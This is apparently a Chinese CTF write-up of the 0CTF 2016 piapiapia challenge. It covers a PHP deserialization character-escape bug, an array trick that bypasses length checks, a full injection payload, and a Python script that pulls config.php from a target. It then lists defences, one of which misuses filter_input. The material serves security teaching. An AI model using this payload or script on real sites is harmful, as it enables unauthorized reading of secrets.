PHP 反序列化字符逃逸实战:0CTF 2016 piapiapia 漏洞 34 字符构造与数组绕过
PHP反序列化字符逃逸实战:0CTF 2016 piapiapia漏洞的34字符构造与数组绕过技巧
在CTF竞赛和实际安全测试中,PHP反序列化漏洞一直是Web安全领域的重要考点。本文将深入分析0CTF 2016年piapiapia题目中的反序列化字符逃逸漏洞,重点讲解如何精确计算需要逃逸的34个字符,以及如何巧妙利用数组绕过strlen检查的限制。
1. 漏洞背景与核心原理
PHP反序列化字符逃逸漏洞的本质是序列化字符串的结构被破坏后导致的注入攻击。当序列化后的数据经过过滤函数处理时,如果替换操作导致字符串长度发生变化但序列化格式中的长度标识未同步更新,就会引发解析错误。
在piapiapia题目中,关键漏洞点出现在class.php文件的filter方法:
public function filter($string) { $escape = array('\'', '\\\\'); $escape = '/' . implode('|', $escape) . '/'; $string = preg_replace($escape, '_', $string); $safe = array('select', 'insert', 'update', 'delete', 'where'); $safe = '/' . implode('|', $safe) . '/i'; return preg_replace($safe, 'hacker', $string); }这个过滤函数会执行两个关键操作:
- 将单引号和反斜线替换为下划线
- 将SQL关键词(select/insert/update/delete/where)替换为"hacker"
漏洞触发流程:
- 用户提交的数据被序列化
- 序列化字符串经过
filter函数处理 - 处理后的字符串被反序列化
2. 关键漏洞点分析
2.1 长度计算与字符逃逸
我们需要构造的恶意payload是:
";}s:5:"photo";s:10:"config.php";}这段payload总长度为34个字符,目的是:
- 闭合当前数组结构
- 注入新的
photo键值对指向config.php
由于where被替换为hacker会导致长度增加("where"是5字符,"hacker"是6字符),我们需要精确计算需要多少个where才能产生34个字符的溢出:
| 项目 | 原始长度 | 替换后长度 | 差值 |
|---|---|---|---|
| 1个where | 5 | 6 | +1 |
| 34个where | 170 | 204 | +34 |
因此,我们需要提交34个连续的where字符串,后面跟上我们的恶意payload。
2.2 数组绕过长度限制
题目中对nickname的检查包含:
if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)这里有两个关键限制:
- 只能包含字母数字和下划线
- 长度不能超过10个字符
我们可以利用PHP的特性绕过:
strlen()对数组返回NULLpreg_match()对数组返回false
因此,将nickname设置为数组即可完全绕过这些检查:
nickname[]=payload3. 漏洞利用实战步骤
3.1 构造完整Payload
最终的Payload结构如下:
wherewherewhere...where";}s:5:"photo";s:10:"config.php";}其中:
- 34个连续的
where(产生34个字符的溢出) - 恶意闭合和注入代码(34个字符)
3.2 实际操作流程
- 注册并登录账户:获取有效会话
- 修改个人信息:通过数组形式提交nickname
POST /update.php HTTP/1.1 Content-Type: multipart/form-data nickname[]=wherewherewhere...where";}s:5:"photo";s:10:"config.php";} - 触发反序列化:访问profile.php页面
- 读取flag:查看返回的base64编码内容并解码
3.3 关键代码实现
以下是利用漏洞的Python脚本核心部分:
import requests import re # 1. 登录获取session s = requests.Session() login_data = {'username':'test', 'password':'test'} s.post('http://target/login.php', data=login_data) # 2. 构造并提交payload payload = 'where'*34 + '";}s:5:"photo";s:10:"config.php";}' files = {'photo': ('test.png', 'test', 'image/png')} data = { 'phone': '12345678901', 'email': 'test@test.com', 'nickname[]': payload } s.post('http://target/update.php', data=data, files=files) # 3. 获取flag r = s.get('http://target/profile.php') flag = re.search(r'base64,(.*?)"', r.text).group(1) print(flag.decode('base64'))4. 技术细节与原理深入
4.1 序列化字符串变化分析
正常序列化结果示例:
a:4:{ s:5:"phone";s:11:"12345678901"; s:5:"email";s:13:"test@test.com"; s:8:"nickname";s:3:"abc"; s:5:"photo";s:40:"upload/5d41402abc4b2a76b9719d911017c592"; }注入后的序列化字符串:
a:4:{ s:5:"phone";s:11:"12345678901"; s:5:"email";s:13:"test@test.com"; s:8:"nickname";s:204:"hacker...hacker"; // 34个hacker s:5:"photo";s:10:"config.php";}"; // 注入的photo s:5:"photo";s:40:"upload/5d41402abc4b2a76b9719d911017c592"; } // 被丢弃的部分4.2 为什么数组能绕过检查
PHP中strlen()对数组的处理特性:
var_dump(strlen(array())); // NULL var_dump(preg_match('/pattern/', array())); // false因此当$_POST['nickname']是数组时:
strlen($_POST['nickname']) > 10→NULL > 10→falsepreg_match()对数组直接返回false
5. 防御方案与最佳实践
针对此类漏洞,开发者应采取以下防护措施:
输入验证:
if (!is_string($_POST['nickname']) || strlen($_POST['nickname']) > 10) { die('Invalid input'); }安全的序列化处理:
// 先过滤再序列化,而不是序列化后过滤 $profile = array_map('filter_input', $_POST); $serialized = serialize($profile);使用JSON替代序列化:
// JSON没有PHP序列化的安全问题 $data = json_encode($profile, JSON_HEX_TAG | JSON_HEX_APOS);严格的白名单过滤:
function safe_filter($input) { return preg_replace('/[^a-zA-Z0-9_]/', '', $input); }
通过深入理解PHP反序列化字符逃逸的原理和利用技巧,安全研究人员可以更有效地发现和修复这类漏洞,而开发者则能编写出更安全的代码。在CTF竞赛中,这类题目往往需要参赛者具备代码审计、协议分析和精确计算的能力,是检验Web安全综合能力的绝佳案例。
